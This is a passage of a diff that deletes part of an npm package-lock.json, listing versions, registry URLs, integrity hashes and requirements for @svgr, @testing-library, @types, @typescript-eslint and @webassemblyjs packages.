-      "integrity": "sha512-yTr2iLdf6oEuUE9MsRdvt0NmdpMBAkgK8Bjhl6epb+eQWk6abBaX3d65UZ3E3FWaOwePyUgNyNCMVG61gGCQ7w=="
-    },
-    "@svgr/babel-plugin-replace-jsx-attribute-value": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-4.2.0.tgz",
-      "integrity": "sha512-U9m870Kqm0ko8beHawRXLGLvSi/ZMrl89gJ5BNcT452fAjtF2p4uRzXkdzvGJJJYBgx7BmqlDjBN/eCp5AAX2w=="
-    },
-    "@svgr/babel-plugin-svg-dynamic-title": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-4.3.3.tgz",
-      "integrity": "sha512-w3Be6xUNdwgParsvxkkeZb545VhXEwjGMwExMVBIdPQJeyMQHqm9Msnb2a1teHBqUYL66qtwfhNkbj1iarCG7w=="
-    },
-    "@svgr/babel-plugin-svg-em-dimensions": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-4.2.0.tgz",
-      "integrity": "sha512-C0Uy+BHolCHGOZ8Dnr1zXy/KgpBOkEUYY9kI/HseHVPeMbluaX3CijJr7D4C5uR8zrc1T64nnq/k63ydQuGt4w=="
-    },
-    "@svgr/babel-plugin-transform-react-native-svg": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-4.2.0.tgz",
-      "integrity": "sha512-7YvynOpZDpCOUoIVlaaOUU87J4Z6RdD6spYN4eUb5tfPoKGSF9OG2NuhgYnq4jSkAxcpMaXWPf1cePkzmqTPNw=="
-    },
-    "@svgr/babel-plugin-transform-svg-component": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-4.2.0.tgz",
-      "integrity": "sha512-hYfYuZhQPCBVotABsXKSCfel2slf/yvJY8heTVX1PCTaq/IgASq1IyxPPKJ0chWREEKewIU/JMSsIGBtK1KKxw=="
-    },
-    "@svgr/babel-preset": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-4.3.3.tgz",
-      "integrity": "sha512-6PG80tdz4eAlYUN3g5GZiUjg2FMcp+Wn6rtnz5WJG9ITGEF1pmFdzq02597Hn0OmnQuCVaBYQE1OVFAnwOl+0A==",
-      "requires": {
-        "@svgr/babel-plugin-add-jsx-attribute": "^4.2.0",
-        "@svgr/babel-plugin-remove-jsx-attribute": "^4.2.0",
-        "@svgr/babel-plugin-remove-jsx-empty-expression": "^4.2.0",
-        "@svgr/babel-plugin-replace-jsx-attribute-value": "^4.2.0",
-        "@svgr/babel-plugin-svg-dynamic-title": "^4.3.3",
-        "@svgr/babel-plugin-svg-em-dimensions": "^4.2.0",
-        "@svgr/babel-plugin-transform-react-native-svg": "^4.2.0",
-        "@svgr/babel-plugin-transform-svg-component": "^4.2.0"
-      }
-    },
-    "@svgr/core": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@svgr/core/-/core-4.3.3.tgz",
-      "integrity": "sha512-qNuGF1QON1626UCaZamWt5yedpgOytvLj5BQZe2j1k1B8DUG4OyugZyfEwBeXozCUwhLEpsrgPrE+eCu4fY17w==",
-      "requires": {
-        "@svgr/plugin-jsx": "^4.3.3",
-        "camelcase": "^5.3.1",
-        "cosmiconfig": "^5.2.1"
-      }
-    },
-    "@svgr/hast-util-to-babel-ast": {
-      "version": "4.3.2",
-      "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-4.3.2.tgz",
-      "integrity": "sha512-JioXclZGhFIDL3ddn4Kiq8qEqYM2PyDKV0aYno8+IXTLuYt6TOgHUbUAAFvqtb0Xn37NwP0BTHglejFoYr8RZg==",
-      "requires": {
-        "@babel/types": "^7.4.4"
-      }
-    },
-    "@svgr/plugin-jsx": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-4.3.3.tgz",
-      "integrity": "sha512-cLOCSpNWQnDB1/v+SUENHH7a0XY09bfuMKdq9+gYvtuwzC2rU4I0wKGFEp1i24holdQdwodCtDQdFtJiTCWc+w==",
-      "requires": {
-        "@babel/core": "^7.4.5",
-        "@svgr/babel-preset": "^4.3.3",
-        "@svgr/hast-util-to-babel-ast": "^4.3.2",
-        "svg-parser": "^2.0.0"
-      }
-    },
-    "@svgr/plugin-svgo": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-4.3.1.tgz",
-      "integrity": "sha512-PrMtEDUWjX3Ea65JsVCwTIXuSqa3CG9px+DluF1/eo9mlDrgrtFE7NE/DjdhjJgSM9wenlVBzkzneSIUgfUI/w==",
-      "requires": {
-        "cosmiconfig": "^5.2.1",
-        "merge-deep": "^3.0.2",
-        "svgo": "^1.2.2"
-      }
-    },
-    "@svgr/webpack": {
-      "version": "4.3.3",
-      "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-4.3.3.tgz",
-      "integrity": "sha512-bjnWolZ6KVsHhgyCoYRFmbd26p8XVbulCzSG53BDQqAr+JOAderYK7CuYrB3bDjHJuF6LJ7Wrr42+goLRV9qIg==",
-      "requires": {
-        "@babel/core": "^7.4.5",
-        "@babel/plugin-transform-react-constant-elements": "^7.0.0",
-        "@babel/preset-env": "^7.4.5",
-        "@babel/preset-react": "^7.0.0",
-        "@svgr/core": "^4.3.3",
-        "@svgr/plugin-jsx": "^4.3.3",
-        "@svgr/plugin-svgo": "^4.3.1",
-        "loader-utils": "^1.2.3"
-      }
-    },
-    "@testing-library/dom": {
-      "version": "6.16.0",
-      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-6.16.0.tgz",
-      "integrity": "sha512-lBD88ssxqEfz0wFL6MeUyyWZfV/2cjEZZV3YRpb2IoJRej/4f1jB0TzqIOznTpfR1r34CNesrubxwIlAQ8zgPA==",
-      "requires": {
-        "@babel/runtime": "^7.8.4",
-        "@sheerun/mutationobserver-shim": "^0.3.2",
-        "@types/testing-library__dom": "^6.12.1",
-        "aria-query": "^4.0.2",
-        "dom-accessibility-api": "^0.3.0",
-        "pretty-format": "^25.1.0",
-        "wait-for-expect": "^3.0.2"
-      },
-      "dependencies": {
-        "@jest/types": {
-          "version": "25.3.0",
-          "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
-          "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
-          "requires": {
-            "@types/istanbul-lib-coverage": "^2.0.0",
-            "@types/istanbul-reports": "^1.1.1",
-            "@types/yargs": "^15.0.0",
-            "chalk": "^3.0.0"
-          }
-        },
-        "@types/yargs": {
-          "version": "15.0.4",
-          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
-          "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
-          "requires": {
-            "@types/yargs-parser": "*"
-          }
-        },
-        "ansi-regex": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-          "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
-        },
-        "ansi-styles": {
-          "version": "4.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
-          "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
-          "requires": {
-            "@types/color-name": "^1.1.1",
-            "color-convert": "^2.0.1"
-          }
-        },
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
-          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        },
-        "color-convert": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-          "requires": {
-            "color-name": "~1.1.4"
-          }
-        },
-        "color-name": {
-          "version": "1.1.4",
-          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-        },
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
-        },
-        "pretty-format": {
-          "version": "25.3.0",
-          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
-          "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
-          "requires": {
-            "@jest/types": "^25.3.0",
-            "ansi-regex": "^5.0.0",
-            "ansi-styles": "^4.0.0",
-            "react-is": "^16.12.0"
-          }
-        },
-        "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
-          "requires": {
-            "has-flag": "^4.0.0"
-          }
-        }
-      }
-    },
-    "@testing-library/jest-dom": {
-      "version": "4.2.4",
-      "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-4.2.4.tgz",
-      "integrity": "sha512-j31Bn0rQo12fhCWOUWy9fl7wtqkp7In/YP2p5ZFyRuiiB9Qs3g+hS4gAmDWONbAHcRmVooNJ5eOHQDCOmUFXHg==",
-      "requires": {
-        "@babel/runtime": "^7.5.1",
-        "chalk": "^2.4.1",
-        "css": "^2.2.3",
-        "css.escape": "^1.5.1",
-        "jest-diff": "^24.0.0",
-        "jest-matcher-utils": "^24.0.0",
-        "lodash": "^4.17.11",
-        "pretty-format": "^24.0.0",
-        "redent": "^3.0.0"
-      }
-    },
-    "@testing-library/react": {
-      "version": "9.5.0",
-      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-9.5.0.tgz",
-      "integrity": "sha512-di1b+D0p+rfeboHO5W7gTVeZDIK5+maEgstrZbWZSSvxDyfDRkkyBE1AJR5Psd6doNldluXlCWqXriUfqu/9Qg==",
-      "requires": {
-        "@babel/runtime": "^7.8.4",
-        "@testing-library/dom": "^6.15.0",
-        "@types/testing-library__react": "^9.1.2"
-      }
-    },
-    "@testing-library/user-event": {
-      "version": "7.2.1",
-      "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-7.2.1.tgz",
-      "integrity": "sha512-oZ0Ib5I4Z2pUEcoo95cT1cr6slco9WY7yiPpG+RGNkj8YcYgJnM7pXmYmorNOReh8MIGcKSqXyeGjxnr8YiZbA=="
-    },
-    "@types/babel__core": {
-      "version": "7.1.7",
-      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.7.tgz",
-      "integrity": "sha512-RL62NqSFPCDK2FM1pSDH0scHpJvsXtZNiYlMB73DgPBaG1E38ZYVL+ei5EkWRbr+KC4YNiAUNBnRj+bgwpgjMw==",
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0",
-        "@types/babel__generator": "*",
-        "@types/babel__template": "*",
-        "@types/babel__traverse": "*"
-      }
-    },
-    "@types/babel__generator": {
-      "version": "7.6.1",
-      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.1.tgz",
-      "integrity": "sha512-bBKm+2VPJcMRVwNhxKu8W+5/zT7pwNEqeokFOmbvVSqGzFneNxYcEBro9Ac7/N9tlsaPYnZLK8J1LWKkMsLAew==",
-      "requires": {
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__template": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.0.2.tgz",
-      "integrity": "sha512-/K6zCpeW7Imzgab2bLkLEbz0+1JlFSrUMdw7KoIIu+IUdu51GWaBZpd3y1VXGVXzynvGa4DaIaxNZHiON3GXUg==",
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__traverse": {
-      "version": "7.0.10",
-      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.0.10.tgz",
-      "integrity": "sha512-74fNdUGrWsgIB/V9kTO5FGHPWYY6Eqn+3Z7L6Hc4e/BxjYV7puvBqp5HwsVYYfLm6iURYBNCx4Ut37OF9yitCw==",
-      "requires": {
-        "@babel/types": "^7.3.0"
-      }
-    },
-    "@types/color-name": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz",
-      "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ=="
-    },
-    "@types/eslint-visitor-keys": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/@types/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz",
-      "integrity": "sha512-OCutwjDZ4aFS6PB1UZ988C4YgwlBHJd6wCeQqaLdmadZ/7e+w79+hbMUFC1QXDNCmdyoRfAFdm0RypzwR+Qpag=="
-    },
-    "@types/events": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
-      "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g=="
-    },
-    "@types/glob": {
-      "version": "7.1.1",
-      "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
-      "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
-      "requires": {
-        "@types/events": "*",
-        "@types/minimatch": "*",
-        "@types/node": "*"
-      }
-    },
-    "@types/istanbul-lib-coverage": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.1.tgz",
-      "integrity": "sha512-hRJD2ahnnpLgsj6KWMYSrmXkM3rm2Dl1qkx6IOFD5FnuNPXJIG5L0dhgKXCYTRMGzU4n0wImQ/xfmRc4POUFlg=="
-    },
-    "@types/istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
-      "requires": {
-        "@types/istanbul-lib-coverage": "*"
-      }
-    },
-    "@types/istanbul-reports": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.1.tgz",
-      "integrity": "sha512-UpYjBi8xefVChsCoBpKShdxTllC9pwISirfoZsUa2AAdQg/Jd2KQGtSbw+ya7GPo7x/wAPlH6JBhKhAsXUEZNA==",
-      "requires": {
-        "@types/istanbul-lib-coverage": "*",
-        "@types/istanbul-lib-report": "*"
-      }
-    },
-    "@types/json-schema": {
-      "version": "7.0.4",
-      "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.4.tgz",
-      "integrity": "sha512-8+KAKzEvSUdeo+kmqnKrqgeE+LcA0tjYWFY7RPProVYwnqDjukzO+3b6dLD56rYX5TdWejnEOLJYOIeh4CXKuA=="
-    },
-    "@types/minimatch": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
-      "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA=="
-    },
-    "@types/node": {
-      "version": "13.11.1",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-13.11.1.tgz",
-      "integrity": "sha512-eWQGP3qtxwL8FGneRrC5DwrJLGN4/dH1clNTuLfN81HCrxVtxRjygDTUoZJ5ASlDEeo0ppYFQjQIlXhtXpOn6g=="
-    },
-    "@types/parse-json": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
-      "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA=="
-    },
-    "@types/prop-types": {
-      "version": "15.7.3",
-      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.3.tgz",
-      "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw=="
-    },
-    "@types/q": {
-      "version": "1.5.2",
-      "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.2.tgz",
-      "integrity": "sha512-ce5d3q03Ex0sy4R14722Rmt6MT07Ua+k4FwDfdcToYJcMKNtRVQvJ6JCAPdAmAnbRb6CsX6aYb9m96NGod9uTw=="
-    },
-    "@types/react": {
-      "version": "16.9.34",
-      "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.34.tgz",
-      "integrity": "sha512-8AJlYMOfPe1KGLKyHpflCg5z46n0b5DbRfqDksxBLBTUpB75ypDBAO9eCUcjNwE6LCUslwTz00yyG/X9gaVtow==",
-      "requires": {
-        "@types/prop-types": "*",
-        "csstype": "^2.2.0"
-      }
-    },
-    "@types/react-dom": {
-      "version": "16.9.6",
-      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.6.tgz",
-      "integrity": "sha512-S6ihtlPMDotrlCJE9ST1fRmYrQNNwfgL61UB4I1W7M6kPulUKx9fXAleW5zpdIjUQ4fTaaog8uERezjsGUj9HQ==",
-      "requires": {
-        "@types/react": "*"
-      }
-    },
-    "@types/stack-utils": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-1.0.1.tgz",
-      "integrity": "sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw=="
-    },
-    "@types/testing-library__dom": {
-      "version": "6.14.0",
-      "resolved": "https://registry.npmjs.org/@types/testing-library__dom/-/testing-library__dom-6.14.0.tgz",
-      "integrity": "sha512-sMl7OSv0AvMOqn1UJ6j1unPMIHRXen0Ita1ujnMX912rrOcawe4f7wu0Zt9GIQhBhJvH2BaibqFgQ3lP+Pj2hA==",
-      "requires": {
-        "pretty-format": "^24.3.0"
-      }
-    },
-    "@types/testing-library__react": {
-      "version": "9.1.3",
-      "resolved": "https://registry.npmjs.org/@types/testing-library__react/-/testing-library__react-9.1.3.tgz",
-      "integrity": "sha512-iCdNPKU3IsYwRK9JieSYAiX0+aYDXOGAmrC/3/M7AqqSDKnWWVv07X+Zk1uFSL7cMTUYzv4lQRfohucEocn5/w==",
-      "requires": {
-        "@types/react-dom": "*",
-        "@types/testing-library__dom": "*",
-        "pretty-format": "^25.1.0"
-      },
-      "dependencies": {
-        "@jest/types": {
-          "version": "25.3.0",
-          "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
-          "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
-          "requires": {
-            "@types/istanbul-lib-coverage": "^2.0.0",
-            "@types/istanbul-reports": "^1.1.1",
-            "@types/yargs": "^15.0.0",
-            "chalk": "^3.0.0"
-          }
-        },
-        "@types/yargs": {
-          "version": "15.0.4",
-          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
-          "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
-          "requires": {
-            "@types/yargs-parser": "*"
-          }
-        },
-        "ansi-regex": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-          "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
-        },
-        "ansi-styles": {
-          "version": "4.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
-          "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
-          "requires": {
-            "@types/color-name": "^1.1.1",
-            "color-convert": "^2.0.1"
-          }
-        },
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
-          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        },
-        "color-convert": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-          "requires": {
-            "color-name": "~1.1.4"
-          }
-        },
-        "color-name": {
-          "version": "1.1.4",
-          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-        },
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
-        },
-        "pretty-format": {
-          "version": "25.3.0",
-          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
-          "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
-          "requires": {
-            "@jest/types": "^25.3.0",
-            "ansi-regex": "^5.0.0",
-            "ansi-styles": "^4.0.0",
-            "react-is": "^16.12.0"
-          }
-        },
-        "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
-          "requires": {
-            "has-flag": "^4.0.0"
-          }
-        }
-      }
-    },
-    "@types/yargs": {
-      "version": "13.0.8",
-      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-13.0.8.tgz",
-      "integrity": "sha512-XAvHLwG7UQ+8M4caKIH0ZozIOYay5fQkAgyIXegXT9jPtdIGdhga+sUEdAr1CiG46aB+c64xQEYyEzlwWVTNzA==",
-      "requires": {
-        "@types/yargs-parser": "*"
-      }
-    },
-    "@types/yargs-parser": {
-      "version": "15.0.0",
-      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-15.0.0.tgz",
-      "integrity": "sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw=="
-    },
-    "@typescript-eslint/eslint-plugin": {
-      "version": "2.28.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-2.28.0.tgz",
-      "integrity": "sha512-w0Ugcq2iatloEabQP56BRWJowliXUP5Wv6f9fKzjJmDW81hOTBxRoJ4LoEOxRpz9gcY51Libytd2ba3yLmSOfg==",
-      "requires": {
-        "@typescript-eslint/experimental-utils": "2.28.0",
-        "functional-red-black-tree": "^1.0.1",
-        "regexpp": "^3.0.0",
-        "tsutils": "^3.17.1"
-      }
-    },
-    "@typescript-eslint/experimental-utils": {
-      "version": "2.28.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-2.28.0.tgz",
-      "integrity": "sha512-4SL9OWjvFbHumM/Zh/ZeEjUFxrYKtdCi7At4GyKTbQlrj1HcphIDXlje4Uu4cY+qzszR5NdVin4CCm6AXCjd6w==",
-      "requires": {
-        "@types/json-schema": "^7.0.3",
-        "@typescript-eslint/typescript-estree": "2.28.0",
-        "eslint-scope": "^5.0.0",
-        "eslint-utils": "^2.0.0"
-      }
-    },
-    "@typescript-eslint/parser": {
-      "version": "2.28.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-2.28.0.tgz",
-      "integrity": "sha512-RqPybRDquui9d+K86lL7iPqH6Dfp9461oyqvlXMNtap+PyqYbkY5dB7LawQjDzot99fqzvS0ZLZdfe+1Bt3Jgw==",
-      "requires": {
-        "@types/eslint-visitor-keys": "^1.0.0",
-        "@typescript-eslint/experimental-utils": "2.28.0",
-        "@typescript-eslint/typescript-estree": "2.28.0",
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "@typescript-eslint/typescript-estree": {
-      "version": "2.28.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-2.28.0.tgz",
-      "integrity": "sha512-HDr8MP9wfwkiuqzRVkuM3BeDrOC4cKbO5a6BymZBHUt5y/2pL0BXD6I/C/ceq2IZoHWhcASk+5/zo+dwgu9V8Q==",
-      "requires": {
-        "debug": "^4.1.1",
-        "eslint-visitor-keys": "^1.1.0",
-        "glob": "^7.1.6",
-        "is-glob": "^4.0.1",
-        "lodash": "^4.17.15",
-        "semver": "^6.3.0",
-        "tsutils": "^3.17.1"
-      }
-    },
-    "@webassemblyjs/ast": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.8.5.tgz",
-      "integrity": "sha512-aJMfngIZ65+t71C3y2nBBg5FFG0Okt9m0XEgWZ7Ywgn1oMAT8cNwx00Uv1cQyHtidq0Xn94R4TAywO+LCQ+ZAQ==",
-      "requires": {
-        "@webassemblyjs/helper-module-context": "1.8.5",
-        "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
-        "@webassemblyjs/wast-parser": "1.8.5"
-      }
-    },
-    "@webassemblyjs/floating-point-hex-parser": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.8.5.tgz",
-      "integrity": "sha512-9p+79WHru1oqBh9ewP9zW95E3XAo+90oth7S5Re3eQnECGq59ly1Ri5tsIipKGpiStHsUYmY3zMLqtk3gTcOtQ=="
-    },
-    "@webassemblyjs/helper-api-error": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.8.5.tgz",
-      "integrity": "sha512-Za/tnzsvnqdaSPOUXHyKJ2XI7PDX64kWtURyGiJJZKVEdFOsdKUCPTNEVFZq3zJ2R0G5wc2PZ5gvdTRFgm81zA=="
-    },
-    "@webassemblyjs/helper-buffer": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.8.5.tgz",
